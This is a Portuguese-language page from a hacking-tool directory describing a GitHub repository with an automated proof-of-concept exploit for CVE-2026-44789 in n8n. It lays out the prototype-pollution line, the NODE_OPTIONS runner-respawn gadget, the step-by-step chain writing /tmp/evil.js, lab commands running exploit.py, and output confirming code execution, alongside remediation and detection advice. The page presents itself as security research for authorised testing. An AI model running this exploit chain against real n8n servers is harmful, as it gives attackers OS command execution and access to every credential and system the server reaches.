Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-44789-n8n-PrototypePollution-RCE — CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution para RCE (NODE_OPTIONS runner-spawn gadget). Lab + PoC automatizado, verificado e2e. | Kitploit
Ferramentas/GitHubGitHub/biitts/cve-2026-44789-n8n-prototypepollution-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHub
biitts/cve-2026-44789-n8n-prototypepollution-rce

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution para RCE (NODE_OPTIONS runner-spawn gadget). Lab + PoC automatizado, verificado e2e.

Ver Repositório
441há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-44789 — Poluição de Protótipo na Paginação do Nó de Requisição HTTP do n8n → RCE

Um criador de workflow autenticado do n8n < 1.123.43 polui o Object.prototype no processo do servidor n8n através das configurações de paginação do nó de Requisição HTTP, e então escala para execução remota de código ao abusar de como o n8n inicia seu task runner — vazando um NODE_OPTIONS poluído para um processo filho node e contornando a sandbox do nó de Código.

CVECVE-2026-44789
AvisoGHSA-c8xv-5998-g76h
Afetado< 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1
Corrigido1.123.43 / 2.20.7 / 2.22.1
ClasseCWE-1321 (Poluição de Protótipo) → CWE-94 (RCE)
CVSS9.4 (CVSS 4.0) / Crítico
AuthAutenticado (permissão de criar/modificar workflow)
StatusCONFIRMADO — cadeia completa reproduzida de ponta a ponta contra n8nio/n8n:1.123.42

O aviso público afirma apenas que a poluição "combinada com outras técnicas poderia levar a RCE" — não divulga um gadget. Este repositório documenta e automatiza uma cadeia concreta e verificada de poluição de protótipo → RCE.


1. A primitiva de poluição

packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, modo de paginação updateAParameterInEachRequest:

paginationData.request[parameter.type]![parameterName] = parameterValue;

parameter.type, parameterName e parameterValue vêm todos do JSON do workflow (controlado pelo atacante). Com parameter.type = "__proto__", paginationData.request["__proto__"] resolve para Object.prototype, então a atribuição escreve Object.prototype[parameterName] = parameterValue — uma poluição global de protótipo no processo do servidor n8n.

A correção usa Object.create(null) para paginationData.request, então ["__proto__"] é uma chave comum (null-proto) ao invés do protótipo.

2. O gadget RCE

packages/cli/src/task-runners/task-runner-process-js.ts inicia o task runner JS:

return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });

O normalizeSpawnArguments do Node constrói o ambiente do filho com for (const key in env), que enumera propriedades herdadas enumeráveis. Poluir Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" vaza, portanto, para o ambiente do runner iniciado. O filho é node, que respeita NODE_OPTIONS, então ele --require o arquivo do atacante na inicialização → execução de código fora da sandbox do nó de Código, como o usuário de serviço do n8n.

O runner é iniciado na inicialização, mas seu ciclo de vida o reinicia sempre que o processo termina (onProcessExit → start()). O atacante força um respawn após poluir, travando o runner com um nó de Código (timeout de tarefa / OOM o mata).

3. Cadeia de ponta a ponta (o que exploit.py faz)

1. escrever /tmp/evil.js                  via nós Set → Convert to File → Read/Write Files
2. travar o task runner                   via um nó de Código ( while(true){} )   [ANTES de poluir]
3. poluir Object.prototype.NODE_OPTIONS   via o nó de Requisição HTTP ( type="__proto__" )
4. o runner travado atinge timeout → o processo principal reinicia 'node' → herda NODE_OPTIONS
   → require('/tmp/evil.js') → RCE

A ordem importa: a poluição faz de NODE_OPTIONS uma chave enumerável "own-less" em Object.prototype, que a camada TypeORM do n8n encontra (for…in sobre entidades), quebrando a persistência do workflow. Portanto, o runner já deve estar travado antes da poluição chegar; o respawn então pega o ambiente poluído.

4. Reproduzir

Escopo de configuração (leia primeiro). A primitiva de poluição de protótipo aciona em qualquer versão afetada sem alterações de configuração. O gadget RCE precisa do task runner, que é acessado de forma diferente por branch:

  • n8n 2.x afetado (2.0.0–2.20.6, 2.21.0–2.22.0): task runners são padrão/obrigatórios (N8N_RUNNERS_ENABLED está obsoleto → SAFE_TO_REMOVE), então a cadeia RCE completa é configuração padrão.
  • n8n 1.123.x afetado (esta imagem de laboratório): task runners vêm desligados por padrão, então o laboratório define N8N_RUNNERS_ENABLED=true para espelhar o padrão do 2.x. N8N_RUNNERS_TASK_TIMEOUT é reduzido apenas para fazer o respawn do runner travado disparar mais rápido — não é necessário para o bug.
docker compose -f lab/docker-compose.yml up -d        # n8nio/n8n:1.123.42, runners ativados para espelhar 2.x

python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"

# saída do comando aparece no host n8n:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
#   RCE uid=1000(node) gid=1000(node) groups=1000(node)
#   <hostname>

exploit.py usa apenas a biblioteca padrão Python e aciona a API REST do n8n de ponta a ponta (setup/login de owner → deploy de workflows → disparar a cadeia).

Observado:

[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)

uid=1000(node) é a conta de serviço do runner e a saída é estado id/uname ao vivo — execução genuína, não eco de entrada.

5. Impacto

Qualquer usuário autenticado que possa criar ou modificar um workflow obtém execução de comandos do SO no host n8n, escapando da sandbox do nó de Código — comprometimento total do servidor de automação e de toda credencial/sistema que ele pode alcançar.

6. Remediação

  • Atualize para n8n ≥ 1.123.43 / 2.20.7 / 2.22.1 (o objeto de paginação é construído com Object.create(null), matando a escrita em __proto__).
  • Defesa em profundidade: restrinja criar/modificar workflows a usuários confiáveis; o runner já está endurecido com --disable-proto=delete / --disallow-code-generation-from-strings, mas estes protegem o runner, não o processo principal onde a poluição chega.

7. Detecção

Sinalizar workflows cujos parâmetros de paginação do nó de Requisição HTTP usem valores type de __proto__ / constructor / prototype, e NODE_OPTIONS aparecendo como um erro de propriedade de entidade nos logs do n8n/TypeORM.

Veja ANALYSIS.md para a primitiva, o comportamento do for…in do Node, o ciclo de vida do runner e o patch.


  • Autor: Caio Fabrício — github.com/BiiTts
  • O crédito pela vulnerabilidade pertence ao relator original / aviso do fornecedor; a cadeia de gadget poluição→RCE aqui é pesquisa independente. Apenas para testes de segurança autorizados.
Baixar ferramenta